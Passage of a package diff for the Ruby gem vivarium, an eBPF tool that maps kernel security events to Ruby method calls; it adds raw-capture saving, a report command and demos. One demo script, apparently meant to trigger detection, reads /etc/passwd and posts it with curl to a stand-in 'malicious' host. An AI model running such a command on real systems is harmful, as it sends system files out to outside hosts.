vivarium 0.5.1 → 0.5.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/ARCHITECTURE.md +140 -0
- data/README.md +2 -6
- data/examples/dummy_post_demo.rb +9 -0
- data/examples/file_operation_demo.rb +9 -1
- data/examples/save_raw_demo.rb +46 -0
- data/lib/vivarium/cli.rb +64 -2
- data/lib/vivarium/correlator.rb +28 -32
- data/lib/vivarium/display_filter.rb +12 -1
- data/lib/vivarium/raw_store.rb +82 -0
- data/lib/vivarium/tree_renderer.rb +43 -0
- data/lib/vivarium/version.rb +1 -1
- data/lib/vivarium.rb +107 -7
- data/sig/vivarium.rbs +1 -0
- metadata +5 -1
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 332c9bfd2267f44bac72dea2cf344bd5c515613333f18a479f830d72c0133749
|
|
4
|
+
data.tar.gz: af42fd7731c9c211fd34b120125793214d485c0567310e4b3d70866eaafcbf3f
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: f3543e2ee6a9b03a9916fb501957779b543782b8e247d66f084dddbd1372bfcc4de91082d7c875b25d7ff12fc9ad905c8675387df8eb049e40b2e57db121ff18
|
|
7
|
+
data.tar.gz: 604698d87ca591abdab4ead63bfd0053c43c9e5caaf86524eca626561a5e4e8bc47f267546ad4ac6882dd1f5f6692acf77eabf1e545aae0bba73b73daebf7033
|
data/ARCHITECTURE.md
ADDED
|
@@ -0,0 +1,140 @@
|
|
|
1
|
+
# Vivarium Architecture
|
|
2
|
+
|
|
3
|
+
System architecture diagram of Vivarium.
|
|
4
|
+
|
|
5
|
+
```mermaid
|
|
6
|
+
graph TB
|
|
7
|
+
subgraph Kernel["Kernel Space"]
|
|
8
|
+
LSM["LSM Hook<br/>- file_open<br/>- socket_connect<br/>- task_kill<br/>- ptrace_access<br/>etc"]
|
|
9
|
+
TP["Tracepoint<br/>- sys_enter_execve<br/>- sched_process_fork<br/>- sys_enter_sendmsg<br/>etc"]
|
|
10
|
+
UprobeSSL["uprobes<br/>- SSL_write<br/>- libc:getenv<br/>- libc:setenv"]
|
|
11
|
+
|
|
12
|
+
BPF["BPF Program<br/>(loaded by vivariumd)"]
|
|
13
|
+
|
|
14
|
+
LSM --> BPF
|
|
15
|
+
TP --> BPF
|
|
16
|
+
UprobeSSL --> BPF
|
|
17
|
+
|
|
18
|
+
MAP["Shared BPF Maps<br/>(bpffs)<br/>- config_root_targets<br/>- config_spawned_targets"]
|
|
19
|
+
BPF --> MAP
|
|
20
|
+
|
|
21
|
+
RINGBUF["BPF Ringbuffer<br/>- Kernel events<br/>- uprobe events"]
|
|
22
|
+
BPF --> RINGBUF
|
|
23
|
+
end
|
|
24
|
+
|
|
25
|
+
subgraph Daemon["vivariumd (root privilege)"]
|
|
26
|
+
DAEMON["BPF Program<br/>Loader & Manager"]
|
|
27
|
+
APISERVER["API Server<br/>(HTTP over UDS)"]
|
|
28
|
+
|
|
29
|
+
DAEMON --> MAP
|
|
30
|
+
DAEMON --> RINGBUF
|
|
31
|
+
APISERVER --> MAP
|
|
32
|
+
APISERVER --> RINGBUF
|
|
33
|
+
end
|
|
34
|
+
|
|
35
|
+
subgraph Client["Target Ruby Process"]
|
|
36
|
+
OBS["Vivarium.observe"]
|
|
37
|
+
TP_PROBE["TracePoint<br/>:call/:return"]
|
|
38
|
+
USDT_PROBE["USDT Probes<br/>- span_start<br/>- span_stop<br/>- span_raise"]
|
|
39
|
+
CORRELATOR["Correlator<br/>(Events ← Spans)"]
|
|
40
|
+
RENDER["Tree Renderer"]
|
|
41
|
+
|
|
42
|
+
OBS --> TP_PROBE
|
|
43
|
+
TP_PROBE --> USDT_PROBE
|
|
44
|
+
USDT_PROBE --> CORRELATOR
|
|
45
|
+
CORRELATOR --> RENDER
|
|
46
|
+
end
|
|
47
|
+
|
|
48
|
+
subgraph UDS["UDS Communication<br/>(/run/vivarium/vivariumd.sock)"]
|
|
49
|
+
REG["PID Register/Unregister<br/>PUT /targets/PID<br/>DELETE /targets/PID"]
|
|
50
|
+
EVENT_STREAM["Event Stream<br/>GET /events"]
|
|
51
|
+
end
|
|
52
|
+
|
|
53
|
+
DAEMON <--> UDS
|
|
54
|
+
OBS <--> REG
|
|
55
|
+
CORRELATOR <--> EVENT_STREAM
|
|
56
|
+
|
|
57
|
+
USDT_PROBE -.via Ringbuf.-> RINGBUF
|
|
58
|
+
|
|
59
|
+
MAP -->|Spawned PID Tracking| RINGBUF
|
|
60
|
+
RENDER -->|Final Output| OUTPUT["Process Tree<br/>with Events"]
|
|
61
|
+
|
|
62
|
+
style Kernel fill:#e1f5ff
|
|
63
|
+
style Daemon fill:#fff3e0
|
|
64
|
+
style Client fill:#f3e5f5
|
|
65
|
+
style UDS fill:#e8f5e9
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
## Components Description
|
|
69
|
+
|
|
70
|
+
### 1. **vivariumd (Run with root privilege)**
|
|
71
|
+
- Load BPF program into the kernel
|
|
72
|
+
- Enable LSM Hook, Tracepoint, and uprobe
|
|
73
|
+
- Manage Shared BPF Maps (bpffs)
|
|
74
|
+
- Communicate with clients via HTTP API over Unix Domain Socket (UDS)
|
|
75
|
+
|
|
76
|
+
### 2. **Kernel Space Event Sources**
|
|
77
|
+
|
|
78
|
+
#### LSM Hook (Linux Security Module)
|
|
79
|
+
- `file_open` - When a file is opened
|
|
80
|
+
- `socket_connect` - When a socket connects
|
|
81
|
+
- `socket_create` - When a socket is created
|
|
82
|
+
- `task_kill` - When a signal is sent
|
|
83
|
+
- `ptrace_access_check` - When ptrace is attempted
|
|
84
|
+
- Others: `sb_mount`, `kernel_read_file`, `capable_check`, etc.
|
|
85
|
+
|
|
86
|
+
#### Tracepoint
|
|
87
|
+
- `sys_enter_execve` - When a process is executed
|
|
88
|
+
- `sched_process_fork` - When a process forks (spawn tracking)
|
|
89
|
+
- `sys_enter_sendmsg/sendto/sendmmsg` - When DNS is sent
|
|
90
|
+
- `sys_enter_getdents64` - When directory entries are read
|
|
91
|
+
|
|
92
|
+
#### uprobes
|
|
93
|
+
- **libssl**: `SSL_write` - Monitor SSL communication
|
|
94
|
+
- **libc**: `getenv`, `setenv`, `unsetenv`, `putenv`, `clearenv` - Monitor environment variable access
|
|
95
|
+
- **Vivarium USDT Probe**: `span_start`, `span_stop`, `span_raise` - Ruby method boundaries
|
|
96
|
+
|
|
97
|
+
### 3. **Shared BPF Maps** (pinned on bpffs: `/sys/fs/bpf/vivarium/`)
|
|
98
|
+
- `config_root_targets` - Root PID map (registered by user-side)
|
|
99
|
+
- `config_spawned_targets` - Spawned TID map (automatically tracked by sched_process_fork)
|
|
100
|
+
- `events` - BPF_RINGBUF_OUTPUT (event delivery)
|
|
101
|
+
|
|
102
|
+
### 4. **BPF Ringbuffer**
|
|
103
|
+
- **Kernel events**: Fired from LSM Hook and Tracepoint
|
|
104
|
+
- **USDT events** (`span_start`, `span_stop`, `span_raise`): Fired from Ruby process via uprobe
|
|
105
|
+
- Event structure `event_t`:
|
|
106
|
+
```c
|
|
107
|
+
{
|
|
108
|
+
u64 ktime_ns; // Kernel timestamp
|
|
109
|
+
u32 pid; // Process ID
|
|
110
|
+
u32 tid; // Thread ID
|
|
111
|
+
char event_name[16]; // Event name
|
|
112
|
+
char payload[256]; // Payload (device-specific)
|
|
113
|
+
}
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
### 5. **Target Ruby Process**
|
|
117
|
+
- Monitor code within `Vivarium.observe { ... }` block
|
|
118
|
+
- **TracePoint** (`:call`, `:return`): Detect Ruby method calls
|
|
119
|
+
- **USDT Probe** (Ruby::Box): Fire uprobe with `span_start`, `span_stop`, `span_raise`
|
|
120
|
+
- These events are sent to vivariumd **via Ringbuf**
|
|
121
|
+
- **Correlator**: Correlate kernel events received from Ringbuf to Span by timestamp and TID
|
|
122
|
+
- **Tree Renderer**: Visualize method tree and events
|
|
123
|
+
|
|
124
|
+
### 6. **UDS Communication** (Unix Domain Socket)
|
|
125
|
+
Communicate via HTTP-over-UDS:
|
|
126
|
+
- `PUT /targets/{pid}` - Register PID as observation target → record in `config_root_targets`
|
|
127
|
+
- `DELETE /targets/{pid}` - Unregister
|
|
128
|
+
- `GET /events` - Open event stream (chunked response)
|
|
129
|
+
- `GET /healthz` - Health check
|
|
130
|
+
|
|
131
|
+
## Data Flow
|
|
132
|
+
|
|
133
|
+
1. **Initialization**: Ruby process calls `Vivarium.observe`
|
|
134
|
+
2. **PID Registration**: Register PID to vivariumd via UDS → record in `config_root_targets`
|
|
135
|
+
3. **Fork Tracking**: `sched_process_fork` Tracepoint automatically records Spawned TID in `config_spawned_targets`
|
|
136
|
+
4. **Event Generation**: LSM Hook/Tracepoint/uprobe output events to Ringbuf
|
|
137
|
+
5. **USDT Firing**: Ruby TracePoint :call/:return fires USDT probe → span_start/span_stop events
|
|
138
|
+
6. **Event Reception**: Correlator reads Ringbuf events via UDS
|
|
139
|
+
7. **Correlation**: Assign kernel events within span_start/span_stop time window to corresponding Span
|
|
140
|
+
8. **Visualization**: Display method tree and event history as final output
|
data/README.md
CHANGED
|
@@ -17,11 +17,7 @@ The goal is to visualize which Ruby method context triggered low-level events.
|
|
|
17
17
|
|
|
18
18
|
Implemented in this repository:
|
|
19
19
|
|
|
20
|
-
|
|
21
|
-
- BPF LSM hooks on `inode_symlink`, `inode_link`, `inode_rename`, `path_chmod`
|
|
22
|
-
- BPF tracepoint on `sys_enter_getdents64`
|
|
23
|
-
- BPF tracepoint on `sys_enter_execve` (captures executable path and first few argv entries as `proc_exec`)
|
|
24
|
-
- BPF tracepoint on `sched_process_fork` (tracks descendants and emits `proc_fork`)
|
|
20
|
+
BPF LSM hooks on `inode_symlink`, `inode_link`, `inode_rename`, `inode_unlink` (filename and parent directory name are captured as reference information only), `path_chmod`
|
|
25
21
|
- BPF LSM hooks for suspicious behavior checks:
|
|
26
22
|
- `ptrace_access_check` (emits `ptrace_check`)
|
|
27
23
|
- `sb_mount` (emits `sb_mount`)
|
|
@@ -113,7 +109,7 @@ This demo intentionally triggers `sock_connect`, `dns_req`, and `odd_socket` eve
|
|
|
113
109
|
bundle exec ruby examples/file_operation_demo.rb
|
|
114
110
|
```
|
|
115
111
|
|
|
116
|
-
This demo intentionally triggers `path_open`, `file_symlink`, `file_hardlink`, `file_rename`, `file_chmod`, and `file_getdents` events under `/tmp`.
|
|
112
|
+
This demo intentionally triggers `path_open`, `file_symlink`, `file_hardlink`, `file_rename`, `file_chmod`, `file_unlink`, and `file_getdents` events under `/tmp`.
|
|
117
113
|
|
|
118
114
|
5) Execve demo client:
|
|
119
115
|
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
def debug_output(msg)
|
|
2
|
+
$stderr.puts("[DEBUG] #{msg}") if ENV["VIVARIUM_DEBUG"]
|
|
3
|
+
end
|
|
4
|
+
|
|
5
|
+
debug_output "=== dummy attack demo ==="
|
|
6
|
+
system "cat /etc/passwd > /tmp/___________copy.txt 2>&1 || true"
|
|
7
|
+
system "curl -d@/tmp/___________copy.txt http://malicious.udzura.jp >/dev/null 2>&1 || true"
|
|
8
|
+
system "rm -f /tmp/___________copy.txt >/dev/null 2>&1 || true"
|
|
9
|
+
debug_output "=== done ==="
|
|
@@ -11,7 +11,7 @@ require "vivarium"
|
|
|
11
11
|
|
|
12
12
|
TMP_PREFIX = "vivarium-file-demo"
|
|
13
13
|
FILTER = {
|
|
14
|
-
include_events: %w[path_open file_symlink file_hardlink file_rename file_chmod file_getdents]
|
|
14
|
+
include_events: %w[path_open file_symlink file_hardlink file_rename file_chmod file_unlink file_getdents]
|
|
15
15
|
}.freeze
|
|
16
16
|
|
|
17
17
|
def try_step(title)
|
|
@@ -57,6 +57,14 @@ Dir.mktmpdir(TMP_PREFIX, "/tmp") do |dir|
|
|
|
57
57
|
File.stat(renamed_path)
|
|
58
58
|
end
|
|
59
59
|
|
|
60
|
+
try_step("unlink hardlink") do
|
|
61
|
+
File.unlink(hardlink_path)
|
|
62
|
+
end
|
|
63
|
+
|
|
64
|
+
try_step("unlink symlink") do
|
|
65
|
+
File.unlink(symlink_path)
|
|
66
|
+
end
|
|
67
|
+
|
|
60
68
|
try_step("list directory again") do
|
|
61
69
|
Dir.children(dir)
|
|
62
70
|
end
|
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require "net/http"
|
|
5
|
+
require "uri"
|
|
6
|
+
require "vivarium"
|
|
7
|
+
|
|
8
|
+
# Where to write the raw capture. Override with VIVARIUM_RAW_PATH.
|
|
9
|
+
RAW_PATH = ENV.fetch("VIVARIUM_RAW_PATH", "/tmp/vivarium_save_raw_demo.vivraw")
|
|
10
|
+
|
|
11
|
+
# Usage:
|
|
12
|
+
# 1) In another shell (root): sudo bundle exec vivariumd
|
|
13
|
+
# 2) Run this script: bundle exec ruby examples/save_raw_demo.rb
|
|
14
|
+
# 3) Render the saved capture later (as many times as you like):
|
|
15
|
+
# bundle exec vivarium report #{RAW_PATH}
|
|
16
|
+
# bundle exec vivarium report --all #{RAW_PATH} # ignore the default filter
|
|
17
|
+
#
|
|
18
|
+
# Note: when `save_raw:` is given, observation runs in *save-only* mode — no live
|
|
19
|
+
# tree is drawn. The full, unfiltered event stream is written to RAW_PATH, so you
|
|
20
|
+
# can re-report the same capture with different filters afterwards.
|
|
21
|
+
|
|
22
|
+
Vivarium.observe(save_raw: RAW_PATH) do
|
|
23
|
+
# A few security-relevant actions to capture:
|
|
24
|
+
|
|
25
|
+
# File write (LSM path_open + File span)
|
|
26
|
+
path = "/tmp/vivarium_save_raw_demo.txt"
|
|
27
|
+
File.write(path, "hello from save_raw demo\n")
|
|
28
|
+
File.chmod(0o600, path)
|
|
29
|
+
File.delete(path)
|
|
30
|
+
|
|
31
|
+
# Outbound HTTPS (ssl_write + sock_connect + dns_req)
|
|
32
|
+
begin
|
|
33
|
+
uri = URI("https://udzura.jp/")
|
|
34
|
+
Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http|
|
|
35
|
+
http.get(uri.request_uri)
|
|
36
|
+
end
|
|
37
|
+
rescue StandardError => e
|
|
38
|
+
warn "[save_raw_demo] Net::HTTP failed: #{e.class}: #{e.message}"
|
|
39
|
+
end
|
|
40
|
+
|
|
41
|
+
# Spawn a child process (proc_fork / proc_exec)
|
|
42
|
+
system("true")
|
|
43
|
+
end
|
|
44
|
+
|
|
45
|
+
puts "[save_raw_demo] raw events saved to #{RAW_PATH}"
|
|
46
|
+
puts "[save_raw_demo] render it with: bundle exec vivarium report #{RAW_PATH}"
|
data/lib/vivarium/cli.rb
CHANGED
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
# frozen_string_literal: true
|
|
2
2
|
|
|
3
3
|
require "optparse"
|
|
4
|
+
require "json"
|
|
4
5
|
|
|
5
6
|
module Vivarium
|
|
6
7
|
module CLI
|
|
@@ -10,11 +11,21 @@ module Vivarium
|
|
|
10
11
|
opts.banner = "Usage: vivarium [options] <command> [args]"
|
|
11
12
|
opts.separator ""
|
|
12
13
|
opts.separator "Commands:"
|
|
13
|
-
opts.separator " load <script>
|
|
14
|
+
opts.separator " load <script> Load and observe a Ruby script"
|
|
15
|
+
opts.separator " report <raw-file> Render a saved raw event file"
|
|
14
16
|
opts.separator ""
|
|
15
17
|
opts.separator "Options:"
|
|
16
18
|
opts.on("--socket PATH", "vivariumd Unix domain socket path") { |v| options[:socket_path] = v }
|
|
17
19
|
opts.on("-o", "--output PATH", "Log output file (default: stdout)") { |v| options[:dest] = File.open(v, "a") }
|
|
20
|
+
opts.on("--save-raw PATH", "load: save raw events to PATH instead of rendering") { |v| options[:save_raw] = v }
|
|
21
|
+
opts.on("--all", "report: show all events (ignore default filter)") { options[:show_all] = true }
|
|
22
|
+
opts.on("--filter JSON", "report: filter as a JSON object (overrides --event/default)") { |v| options[:filter_json] = v }
|
|
23
|
+
opts.on("--event NAMES", "report: comma-separated event names to include") do |v|
|
|
24
|
+
options[:event_names] = v.split(",").map(&:strip).reject(&:empty?)
|
|
25
|
+
end
|
|
26
|
+
opts.on("--max-span-depth N", Integer, "report: collapse method spans deeper than N (events kept)") do |v|
|
|
27
|
+
options[:max_span_depth] = v
|
|
28
|
+
end
|
|
18
29
|
end
|
|
19
30
|
parser.order!(argv)
|
|
20
31
|
|
|
@@ -22,6 +33,8 @@ module Vivarium
|
|
|
22
33
|
case command
|
|
23
34
|
when "load"
|
|
24
35
|
run_load!(argv, options)
|
|
36
|
+
when "report"
|
|
37
|
+
run_report!(argv, options)
|
|
25
38
|
else
|
|
26
39
|
abort parser.help
|
|
27
40
|
end
|
|
@@ -33,9 +46,58 @@ module Vivarium
|
|
|
33
46
|
abort "File not found: #{script}" unless File.exist?(script)
|
|
34
47
|
|
|
35
48
|
Vivarium.observe(socket_path: options[:socket_path], dest: options[:dest],
|
|
36
|
-
filter: Vivarium::DEFAULT_FILTER) do
|
|
49
|
+
filter: Vivarium::DEFAULT_FILTER, save_raw: options[:save_raw]) do
|
|
37
50
|
Kernel.load(File.expand_path(script))
|
|
38
51
|
end
|
|
39
52
|
end
|
|
53
|
+
|
|
54
|
+
def self.run_report!(argv, options)
|
|
55
|
+
raw = argv.shift
|
|
56
|
+
abort "Usage: vivarium report <raw-file>" unless raw
|
|
57
|
+
abort "File not found: #{raw}" unless File.exist?(raw)
|
|
58
|
+
|
|
59
|
+
data =
|
|
60
|
+
begin
|
|
61
|
+
File.open(raw, "rb") { |io| Vivarium::RawStore.load(io) }
|
|
62
|
+
rescue Vivarium::RawStore::FormatError => e
|
|
63
|
+
abort "Invalid vivarium-raw file #{raw}: #{e.message}"
|
|
64
|
+
end
|
|
65
|
+
meta = data[:meta]
|
|
66
|
+
filter = resolve_report_filter(options)
|
|
67
|
+
if options[:max_span_depth]
|
|
68
|
+
filter = (filter || {}).merge(max_span_depth: options[:max_span_depth])
|
|
69
|
+
end
|
|
70
|
+
|
|
71
|
+
Vivarium::TreeRenderer.new(
|
|
72
|
+
events: data[:events],
|
|
73
|
+
observer_pid: meta[:observer_pid],
|
|
74
|
+
main_tid: meta[:main_tid],
|
|
75
|
+
session_start_iso: meta[:session_start_iso],
|
|
76
|
+
session_start_ktime: meta[:session_start_ktime],
|
|
77
|
+
session_stop_iso: meta[:session_stop_iso],
|
|
78
|
+
session_stop_ktime: meta[:session_stop_ktime],
|
|
79
|
+
filter: filter,
|
|
80
|
+
dest: options[:dest]
|
|
81
|
+
).render
|
|
82
|
+
end
|
|
83
|
+
|
|
84
|
+
# Resolve the report display filter by precedence:
|
|
85
|
+
# --all > --filter JSON > --event NAMES > DEFAULT_FILTER
|
|
86
|
+
def self.resolve_report_filter(options)
|
|
87
|
+
return nil if options[:show_all]
|
|
88
|
+
|
|
89
|
+
if options[:filter_json]
|
|
90
|
+
begin
|
|
91
|
+
return JSON.parse(options[:filter_json])
|
|
92
|
+
rescue JSON::ParserError => e
|
|
93
|
+
abort "Invalid --filter JSON: #{e.message}"
|
|
94
|
+
end
|
|
95
|
+
end
|
|
96
|
+
|
|
97
|
+
names = options[:event_names]
|
|
98
|
+
return { include_events: names } if names && !names.empty?
|
|
99
|
+
|
|
100
|
+
Vivarium::DEFAULT_FILTER
|
|
101
|
+
end
|
|
40
102
|
end
|
|
41
103
|
end
|
data/lib/vivarium/correlator.rb
CHANGED
|
@@ -7,21 +7,20 @@ module Vivarium
|
|
|
7
7
|
# Unix domain socket, reads chunked raw event_t records, accumulates them, and
|
|
8
8
|
# renders a tree on stop. It never touches BPF maps or the ring buffer directly.
|
|
9
9
|
class Correlator
|
|
10
|
-
RawEvent = Struct.new(
|
|
11
|
-
:ktime_ns, :pid, :tid, :event_name, :payload, :dropped_since_last,
|
|
12
|
-
keyword_init: true
|
|
13
|
-
)
|
|
14
|
-
|
|
15
10
|
# Grace period after stop to let trailing events drain through the stream.
|
|
16
11
|
DRAIN_SLEEP = 0.3
|
|
17
12
|
|
|
13
|
+
# In save_raw mode, emit a progress line every this many captured events.
|
|
14
|
+
SAVE_RAW_PROGRESS_INTERVAL = 1000
|
|
15
|
+
|
|
18
16
|
def initialize(socket_path: Vivarium.socket_path, observer_pid:, main_tid:,
|
|
19
|
-
filter: nil, dest: $stdout)
|
|
17
|
+
filter: nil, dest: $stdout, save_raw: nil)
|
|
20
18
|
@socket_path = socket_path
|
|
21
19
|
@observer_pid = observer_pid
|
|
22
20
|
@main_tid = main_tid
|
|
23
21
|
@filter = filter
|
|
24
22
|
@dest = dest
|
|
23
|
+
@save_raw = save_raw
|
|
25
24
|
|
|
26
25
|
@client = DaemonClient.new(socket_path: socket_path)
|
|
27
26
|
@events = []
|
|
@@ -55,17 +54,24 @@ module Vivarium
|
|
|
55
54
|
events_snapshot = @events_mutex.synchronize { @events.dup }
|
|
56
55
|
@stopped = true
|
|
57
56
|
|
|
58
|
-
|
|
59
|
-
events: events_snapshot,
|
|
57
|
+
meta = {
|
|
60
58
|
observer_pid: @observer_pid,
|
|
61
59
|
main_tid: @main_tid,
|
|
62
60
|
session_start_iso: @session_start_iso,
|
|
63
61
|
session_start_ktime: @session_start_ktime,
|
|
64
62
|
session_stop_iso: @session_stop_iso,
|
|
65
|
-
session_stop_ktime: @session_stop_ktime
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
63
|
+
session_stop_ktime: @session_stop_ktime
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
if @save_raw
|
|
67
|
+
File.open(@save_raw, "wb") do |io|
|
|
68
|
+
Vivarium::RawStore.dump(io, events: events_snapshot, meta: meta)
|
|
69
|
+
end
|
|
70
|
+
warn "[vivarium] save_raw: saved #{events_snapshot.size} events -> #{@save_raw}"
|
|
71
|
+
return
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
TreeRenderer.new(events: events_snapshot, **meta, filter: @filter, dest: @dest).render
|
|
69
75
|
end
|
|
70
76
|
|
|
71
77
|
private
|
|
@@ -108,28 +114,18 @@ module Vivarium
|
|
|
108
114
|
end
|
|
109
115
|
|
|
110
116
|
def capture_event(bytes)
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
ktime_ns = bytes[Vivarium::EVENT_TS_OFFSET, Vivarium::EVENT_TS_SIZE].unpack1("Q<")
|
|
115
|
-
pid = bytes[Vivarium::EVENT_PID_OFFSET, 4].unpack1("L<")
|
|
116
|
-
tid = bytes[Vivarium::EVENT_TID_OFFSET, 4].unpack1("L<")
|
|
117
|
-
event_name = Vivarium.c_string(bytes[Vivarium::EVENT_NAME_OFFSET, Vivarium::EVENT_NAME_SIZE])
|
|
118
|
-
payload = bytes[Vivarium::EVENT_PAYLOAD_OFFSET, Vivarium::EVENT_PAYLOAD_SIZE].to_s.b
|
|
119
|
-
dropped_since_last = bytes[Vivarium::EVENT_DROPPED_OFFSET, 8].unpack1("Q<")
|
|
120
|
-
|
|
121
|
-
@events_mutex.synchronize do
|
|
122
|
-
@events << RawEvent.new(
|
|
123
|
-
ktime_ns: ktime_ns,
|
|
124
|
-
pid: pid,
|
|
125
|
-
tid: tid,
|
|
126
|
-
event_name: event_name,
|
|
127
|
-
payload: payload,
|
|
128
|
-
dropped_since_last: dropped_since_last
|
|
129
|
-
)
|
|
130
|
-
end
|
|
117
|
+
ev = Vivarium::RawStore.unpack_record(bytes)
|
|
118
|
+
count = @events_mutex.synchronize { @events << ev; @events.size }
|
|
119
|
+
report_save_progress(count)
|
|
131
120
|
rescue StandardError => e
|
|
132
121
|
warn "[vivarium correlator] capture error: #{e.class}: #{e.message}"
|
|
133
122
|
end
|
|
123
|
+
|
|
124
|
+
def report_save_progress(count)
|
|
125
|
+
return unless @save_raw
|
|
126
|
+
return unless (count % SAVE_RAW_PROGRESS_INTERVAL).zero?
|
|
127
|
+
|
|
128
|
+
warn "[vivarium] save_raw: captured #{count} events -> #{@save_raw}"
|
|
129
|
+
end
|
|
134
130
|
end
|
|
135
131
|
end
|
|
@@ -4,7 +4,8 @@ require "set"
|
|
|
4
4
|
|
|
5
5
|
module Vivarium
|
|
6
6
|
class DisplayFilter
|
|
7
|
-
attr_reader :include_events, :exclude_events, :include_severities, :include_pids, :include_tids
|
|
7
|
+
attr_reader :include_events, :exclude_events, :include_severities, :include_pids, :include_tids,
|
|
8
|
+
:max_span_depth
|
|
8
9
|
|
|
9
10
|
def self.compile(raw)
|
|
10
11
|
return new if raw.nil?
|
|
@@ -28,6 +29,7 @@ module Vivarium
|
|
|
28
29
|
|
|
29
30
|
@include_span_names = normalize_string_set(fetch_key(:include_span_names, :span_names))
|
|
30
31
|
@span_pattern = normalize_pattern(fetch_key(:span, :span_pattern))
|
|
32
|
+
@max_span_depth = normalize_integer(fetch_key(:max_span_depth, :max_depth))
|
|
31
33
|
|
|
32
34
|
payload_value = fetch_key(:payload)
|
|
33
35
|
@payload_pattern = normalize_pattern(fetch_key(:payload_pattern))
|
|
@@ -128,6 +130,15 @@ module Vivarium
|
|
|
128
130
|
end
|
|
129
131
|
end
|
|
130
132
|
|
|
133
|
+
def normalize_integer(value)
|
|
134
|
+
return nil if value.nil?
|
|
135
|
+
|
|
136
|
+
n = Integer(value)
|
|
137
|
+
n.positive? ? n : nil
|
|
138
|
+
rescue ArgumentError, TypeError
|
|
139
|
+
nil
|
|
140
|
+
end
|
|
141
|
+
|
|
131
142
|
def normalize_pattern(value)
|
|
132
143
|
case value
|
|
133
144
|
when nil
|
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require "json"
|
|
4
|
+
|
|
5
|
+
module Vivarium
|
|
6
|
+
RawEvent = Struct.new(
|
|
7
|
+
:ktime_ns, :pid, :tid, :event_name, :payload, :dropped_since_last,
|
|
8
|
+
keyword_init: true
|
|
9
|
+
)
|
|
10
|
+
|
|
11
|
+
# Reads and writes the vivarium-raw file format: a single JSON metadata line
|
|
12
|
+
# followed by fixed-size (EVENT_STRUCT_SIZE) event_t records. The record layout
|
|
13
|
+
# mirrors the C struct event_t so it round-trips losslessly.
|
|
14
|
+
module RawStore
|
|
15
|
+
# Raised when a file is not a valid vivarium-raw capture.
|
|
16
|
+
class FormatError < StandardError; end
|
|
17
|
+
|
|
18
|
+
FORMAT = "vivarium-raw"
|
|
19
|
+
VERSION = 1
|
|
20
|
+
PACK_FMT = "Q<L<L<a16a256Q<" # struct event_t (296B)
|
|
21
|
+
|
|
22
|
+
def self.pack_record(ev)
|
|
23
|
+
[
|
|
24
|
+
ev.ktime_ns, ev.pid, ev.tid,
|
|
25
|
+
ev.event_name.to_s.b.ljust(EVENT_NAME_SIZE, "\x00")[0, EVENT_NAME_SIZE],
|
|
26
|
+
ev.payload.to_s.b.ljust(EVENT_PAYLOAD_SIZE, "\x00")[0, EVENT_PAYLOAD_SIZE],
|
|
27
|
+
ev.dropped_since_last
|
|
28
|
+
].pack(PACK_FMT)
|
|
29
|
+
end
|
|
30
|
+
|
|
31
|
+
def self.unpack_record(bytes)
|
|
32
|
+
bytes = bytes.to_s.b
|
|
33
|
+
bytes = bytes.ljust(EVENT_STRUCT_SIZE, "\x00") if bytes.bytesize < EVENT_STRUCT_SIZE
|
|
34
|
+
|
|
35
|
+
RawEvent.new(
|
|
36
|
+
ktime_ns: bytes[EVENT_TS_OFFSET, EVENT_TS_SIZE].unpack1("Q<"),
|
|
37
|
+
pid: bytes[EVENT_PID_OFFSET, 4].unpack1("L<"),
|
|
38
|
+
tid: bytes[EVENT_TID_OFFSET, 4].unpack1("L<"),
|
|
39
|
+
event_name: Vivarium.c_string(bytes[EVENT_NAME_OFFSET, EVENT_NAME_SIZE]),
|
|
40
|
+
payload: bytes[EVENT_PAYLOAD_OFFSET, EVENT_PAYLOAD_SIZE].to_s.b,
|
|
41
|
+
dropped_since_last: bytes[EVENT_DROPPED_OFFSET, 8].unpack1("Q<")
|
|
42
|
+
)
|
|
43
|
+
end
|
|
44
|
+
|
|
45
|
+
# io: a binary-writable IO. meta: session metadata Hash.
|
|
46
|
+
def self.dump(io, events:, meta:)
|
|
47
|
+
header = meta.merge(
|
|
48
|
+
format: FORMAT, version: VERSION,
|
|
49
|
+
event_struct_size: EVENT_STRUCT_SIZE, event_count: events.size
|
|
50
|
+
)
|
|
51
|
+
io.binmode
|
|
52
|
+
io.write(JSON.generate(header))
|
|
53
|
+
io.write("\n")
|
|
54
|
+
events.each { |ev| io.write(pack_record(ev)) }
|
|
55
|
+
end
|
|
56
|
+
|
|
57
|
+
# Returns { meta: Hash(symbol keys), events: [RawEvent, ...] }.
|
|
58
|
+
def self.load(io)
|
|
59
|
+
io.binmode
|
|
60
|
+
line = io.gets
|
|
61
|
+
raise FormatError, "empty file" if line.nil?
|
|
62
|
+
|
|
63
|
+
begin
|
|
64
|
+
meta = JSON.parse(line, symbolize_names: true)
|
|
65
|
+
rescue JSON::ParserError => e
|
|
66
|
+
raise FormatError, "header is not valid JSON: #{e.message}"
|
|
67
|
+
end
|
|
68
|
+
raise FormatError, "missing JSON object header" unless meta.is_a?(Hash)
|
|
69
|
+
unless meta[:format] == FORMAT
|
|
70
|
+
raise FormatError, "format=#{meta[:format].inspect} (expected #{FORMAT.inspect})"
|
|
71
|
+
end
|
|
72
|
+
|
|
73
|
+
events = []
|
|
74
|
+
